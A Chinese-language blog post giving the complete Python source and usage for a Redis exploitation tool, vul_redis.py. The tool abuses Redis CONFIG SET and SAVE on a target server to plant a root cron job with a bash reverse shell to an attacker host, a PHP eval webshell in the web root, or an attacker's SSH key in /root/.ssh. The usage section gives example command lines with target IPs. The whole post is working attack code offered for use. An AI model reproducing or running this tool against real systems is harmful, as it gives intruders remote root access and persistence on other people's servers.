写一个redis漏洞利用工具

vul_redis.py源码

import socket
import time
from optparse import OptionParser


# 连接redis,return s
def connect(rhost, rport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
    return s


# 发送redis命令,return res
def send(s, command):
    s.send(command.encode())
    time.sleep(1)
    buf = s.recv(1024 * 1)
    res = buf.decode("utf8", "ignore")
    return res


# 获取redis原来的dir、dbfilename,return
def get_config(s):
    command = "config get dir\n" \
              "config get dbfilename\n"
    res = send(s, command).split("\r\n")
    return res[4], res[9]


# 写文件然后读出来,目的是消除\n的影响,return f.read()
def init_exp(txt):
    f = open("crontab_exp__.txt", "w")
    f.write(txt)
    f = open("crontab_exp__.txt", "r")
    return f.read()


def save(method, rhost, rport, lhost, lport, path, key, password):
    # print(method, rhost, rport, lhost, lport, path, key, password)
    command = ""
    s = connect(rhost, rport)
    if not (password is None or password == ""):
        auth = send(s, "auth {}\n".format(password))
        if auth != "+OK\r\n":
            exit(auth)
    conf_dir, conf_dbfilename = get_config(s)
    # 写定时任务
    if method == 1:
        if lhost is None or lhost == "":
            exit("--lhost can't be empty!!!")
        command = "set mars \"\\n* * * * * bash -i >& /dev/tcp/{}/{} 0>&1\\n\"\n" \
                  "config set dir /var/spool/cron/\n" \
                  "config set dbfilename root\n" \
                  "save\n" \
                  "config set dir {}\n" \
                  "config set dbfilename {}\n" \
                  "quit\n".format(lhost, lport, conf_dir, conf_dbfilename)
    # 写webshll
    elif method == 2:
        print("the webshell will be saved in /var/www/html/shell.php")
        command = "config set dir {}\n" \
                  "config set dbfilename shell.php\n" \
                  "set webshell \"\\n<?php eval($_POST['flag']);?>\\n\"\n" \
                  "save\n" \
                  "config set dir {}\n" \
                  "config set dbfilename {}\n" \
                  "quit\n".format(path, conf_dir, conf_dbfilename)
    # 写ssh公钥
    elif method == 3:
        if key is None or key == "":
            exit("--key can't be empty!!!")
        command = "set key \"\\n\\n"+key+"\\n\\n\"\n" \
                  "config set dir /root/.ssh/\n" \
                  "config set dbfilename authorized_keyssave\n" \
                  "save\n" \
                  "config set dir {}\n" \
                  "config set dbfilename {}\n" \
                  "quit\n".format(conf_dir, conf_dbfilename)
    # method超出范围
    else:
        exit("method must be 1 or 2 or 3!!!")
    exp = init_exp(command)
    res = send(s, exp).split("\r\n")
    s.close()
    # print(res)
    # 判断命令是否成功执行
    for i in range(len(exp.split("\n"))-2):
        if res[i] != "+OK":
            if i == 3 and res[i] == "-ERR":
                print("-ERR save: Permission denied")
            else:
                print(res[i])
            return False
    print("command execute successfully")
    return True


def main():
    usage = '"usage:%prog [options] arg1,arg2"'
    parser = OptionParser(usage, version="%prog 1.2")
    parser.add_option('--rhost', dest='rh', metavar='REMOTE_HOST', type=str,
                      help='host of the target')
    parser.add_option('--rport', dest='rp', metavar='REMOTE_PORT', type=int,
                      help='port of the target,default 6379', default=6379)
    parser.add_option('--lhost', dest='lh', metavar='REVERSE_HOST', type=str,
                      help='host of the reverse server')
    parser.add_option('--lport', dest='lp', metavar='REVERSE_PORT', type=int,
                      help='port of the reverse server,default 9999', default=9999)
    parser.add_option('--path', dest='path', metavar='webshell_path', type=str,
                      help='the path of webshell,default /var/www/html/', default='/var/www/html/')
    parser.add_option('--key', dest='key', metavar='ssh_pubkey', type=str,
                      help='your public ssh_key')
    parser.add_option('--auth', dest='auth', metavar='redis_passwd', type=str,
                      help='redis password')
    parser.add_option('-m', dest='m', metavar='method', type=int,
                      help='the way of attack,default 1,123', default=1)
    (options, args) = parser.parse_args()
    save(options.m, options.rh, options.rp, options.lh, options.lp, options.path, options.key, options.auth)


if __name__ == '__main__':
    main()

使用方法

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  --rhost=REMOTE_HOST   host of the target
  --rport=REMOTE_PORT   port of the target,default 6379
  --lhost=REVERSE_HOST  host of the reverse server
  --lport=REVERSE_PORT  port of the reverse server,default 9999
  --path=webshell_path  the path of webshell,default /var/www/html/
  --key=ssh_pubkey      your public ssh_key
  --auth=redis_passwd   redis password
  -m method             the way of attack,default 1,
                        1:写定时任务
                        2:写webshell
                        3:写ssh公钥

命令执行成功会返回:command execute successfully,失败会返回具体原因。

python vul_redis.py -m 1 --rhost=192.168.231.154 --lhost=192.168.231.140 [--auth=123456]

--rhost:要攻击的redis服务器ip

--lhost:反弹shell的ip,端口默认是9999,可以通过--lport=9999来修改

--auth:目标redis服务器密码,如果无密码则省略该参数

python vul_redis.py -m 2 --rhost=192.168.231.154 --path=/var/www/html/ [--auth=123456]

--path:webshell保存的绝对路径,默认是/var/www/html/目录

python vul_redis.py -m 3 --rhost=192.168.231.154 --key="xxxx" [--auth=123456]

此情况说明目标服务器不存在/root/.ssh目录


文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录